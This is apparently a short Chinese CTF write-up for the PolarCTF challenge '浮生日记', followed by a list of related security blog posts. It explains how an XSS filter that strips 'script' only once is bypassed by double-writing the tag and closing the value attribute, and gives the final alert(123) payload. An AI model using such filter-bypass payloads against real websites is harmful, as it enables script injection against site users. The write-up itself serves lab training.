很明显是个XSS，尝试常规语句发现会过滤script
尝试双写
<scscriptript>alert(123)</scscriptript>
可以看到只过滤了一次<script>，但是还没有触发弹窗
我们看下源代码，发现需要对value进行闭合
那么payload如下：
"><scscriptript>alert(123)</scscriptript>
【PolarCTF】浮生日记
大方子2026-01-24 9:25
相关推荐
中云DDoS CC防护蔡蔡2 小时前
游戏杀手- ACCN见青..1 天前
文件上传漏洞之原理、探测、利用、绕过、防御hzhsec1 天前
启明星辰（安全服务实习生）面试题持敬chijing1 天前
Web渗透之前后端漏洞-CORS跨越访问漏洞HackTwoHub1 天前
免费FOFA高级会员、DayDaymap、360Quake、Hunter测绘搜索引擎高级会员免费使用最大1W条查询工具学逆向的2 天前
C++纯虚函数买大橘子也用券2 天前
玄机-应急响应靶场-第一章wp汇总其实防守也摸鱼2 天前
软件安全与漏洞--软件安全编码与防御技术理论题库夏天测2 天前
微信小程序自动化漏洞挖掘流水线：从缓存提取到密钥验证全流程实战持敬chijing2 天前
Web渗透之前后端漏洞-命令注入